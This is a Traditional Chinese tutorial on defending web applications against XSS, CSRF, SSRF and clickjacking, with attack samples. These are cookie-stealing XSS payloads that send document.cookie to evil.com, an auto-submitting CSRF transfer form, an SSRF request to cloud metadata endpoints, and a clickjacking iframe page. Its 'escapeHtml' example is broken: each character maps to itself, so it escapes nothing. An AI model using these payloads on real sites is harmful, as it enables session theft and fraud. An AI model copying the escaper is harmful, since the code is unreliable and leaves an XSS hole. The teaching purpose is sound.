Web 安全攻防實戰:XSS、CSRF、SSRF 與點擊劫持的防禦體系
前端工程(更新於 2026年6月2日)
Web 安全威脅全景
| 威脅 | 影響面 | 嚴重度 | 防禦複雜度 |
|---|---|---|---|
| XSS | 資料竊取、會話劫持 | 高 | 中 |
| CSRF | 偽造操作、資金損失 | 高 | 低 |
| SSRF | 內網探測、服務攻擊 | 高 | 中 |
| 點擊劫持 | 誘導操作 | 中 | 低 |
一、XSS(跨站腳本攻擊)
三種 XSS 類型
| 類型 | 注入點 | 持久性 | 典型場景 |
|---|---|---|---|
| 儲存型 | 伺服器端儲存 | 持久 | 評論區、使用者暱稱 |
| 反射型 | URL 參數 | 臨時 | 搜尋結果、錯誤提示 |
| DOM 型 | 客戶端 JS | 臨時 | URL hash、document.write |
儲存型 XSS 攻擊範例
<!-- 攻擊者在評論區注入 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
<!-- 或更隱蔽的 img 標籤 -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- 或 SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">
防禦一:輸出編碼
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (c) => map[c]);
}
// 使用
element.innerHTML = escapeHtml(userInput);
防禦二:CSP(Content Security Policy)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
| 指令 | 含義 | 範例 |
|---|---|---|
default-src |
預設策略 | 'self' |
script-src |
JS 來源 | 'self' 'nonce-abc123' |
style-src |
CSS 來源 | 'self' 'unsafe-inline' |
img-src |
圖片來源 | 'self' data: https: |
connect-src |
fetch/XHR 來源 | 'self' https://api.example.com |
frame-ancestors |
嵌入來源 | 'none' (防點擊劫持) |
防禦三:HttpOnly Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly 阻止 JS 透過 document.cookie 讀取,即使 XSS 成功也無法竊取會話。
防禦四:Trusted Types
// 啟用 Trusted Types API
if (window.trustedTypes) {
trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
}
// 之後所有 innerHTML 賦值必須經過策略
element.innerHTML = userInput; // 如果沒有策略,拋出錯誤
二、CSRF(跨站請求偽造)
攻擊原理
<!-- 攻擊者網站上的隱藏表單 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
使用者已登入銀行網站 → Cookie 自動攜帶 → 偽造請求成功。
防禦一:SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict
| 值 | 跨站請求攜帶 | 適用場景 |
|---|---|---|
Strict |
不攜帶 | 最安全,但從外部連結進入不帶 Cookie |
Lax |
GET 請求攜帶 | 預設值,平衡安全與體驗 |
None |
都攜帶 | 需配合 Secure,第三方場景 |
防禦二:CSRF Token
// 伺服器端生成 Token
app.use((req, res, next) => {
req.csrfToken = crypto.randomBytes(32).toString('hex');
res.locals.csrfToken = req.csrfToken;
next();
});
// 表單中嵌入
// <input type="hidden" name="_csrf" value="${csrfToken}">
// 伺服器端驗證
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.csrfToken) {
return res.status(403).send('CSRF token mismatch');
}
// 處理轉帳
});
防禦三:雙重 Cookie 驗證
// 前端:從 Cookie 讀取 CSRF Token,放入請求頭
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': getCookie('csrfToken'),
},
body: JSON.stringify(data),
});
防禦四:Origin/Referer 檢查
app.use((req, res, next) => {
const origin = req.headers.origin || req.headers.referer;
if (origin && !origin.startsWith('https://example.com')) {
return res.status(403).send('Invalid origin');
}
next();
});
三、SSRF(伺服器端請求偽造)
攻擊範例
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
169.254.169.254 是 AWS 元資料服務,攻擊者可獲取 IAM 憑證。
常見內網目標
| 位址 | 服務 | 可獲取資訊 |
|---|---|---|
169.254.169.254 |
AWS 元資料 | IAM 憑證、執行個體資訊 |
100.100.100.200 |
阿里雲元資料 | 安全憑證 |
metadata.google.internal |
GCP 元資料 | Service Account Token |
127.0.0.1:6379 |
Redis | 資料、設定 |
127.0.0.1:9200 |
Elasticsearch | 資料、叢集資訊 |
防禦一:URL 白名單
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
function validateUrl(inputUrl) {
const url = new URL(inputUrl);
if (!ALLOWED_DOMAINS.includes(url.hostname)) {
throw new Error('Domain not allowed');
}
if (url.protocol !== 'https:') {
throw new Error('Only HTTPS allowed');
}
// 阻止特殊 IP
if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
throw new Error('Private IP not allowed');
}
return url;
}
防禦二:DNS 重綁定防護
// 先解析 DNS,再驗證 IP,再發起請求
async function safeFetch(inputUrl) {
const url = new URL(inputUrl);
const addresses = await dns.promises.resolve4(url.hostname);
for (const ip of addresses) {
if (isPrivateIP(ip)) throw new Error('Private IP resolved');
}
// 使用解析後的 IP 直接請求,避免 DNS 重綁定
return fetch(`https://${addresses[0]}${url.pathname}`, {
headers: { Host: url.hostname },
});
}
四、點擊劫持(Clickjacking)
攻擊原理
<!-- 攻擊者網站 -->
<style>
iframe {
position: absolute;
top: 100px;
left: 200px;
opacity: 0.01; /* 幾乎不可見 */
}
.decoy-button {
position: absolute;
top: 100px;
left: 200px;
}
</style>
<!-- 誘餌按鈕 -->
<button class="decoy-button">點擊領取優惠券</button>
<!-- 透明的目標網站 iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>
使用者以為點擊「領取優惠券」,實際點擊了銀行轉帳按鈕。
防禦一:X-Frame-Options
X-Frame-Options: DENY
| 值 | 含義 |
|---|---|
DENY |
任何頁面都不能嵌入 |
SAMEORIGIN |
僅同源頁面可嵌入 |
防禦二:CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;
frame-ancestors 是 X-Frame-Options 的現代替代,支援白名單。
防禦三:JS 幀破壞
if (window.top !== window.self) {
window.top.location = window.self.location;
}
五、縱深防禦體系
第1層:輸入驗證 —— 伺服器端校驗所有輸入
第2層:輸出編碼 —— 根據上下文轉義
第3層:CSP 策略 —— 限制資源載入
第4層:Cookie 安全 —— HttpOnly + SameSite + Secure
第5層:CSRF Token —— 驗證請求來源
第6層:Rate Limit —— 限制請求頻率
第7層:WAF —— Web 應用防火牆
安全回應標頭完整設定
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持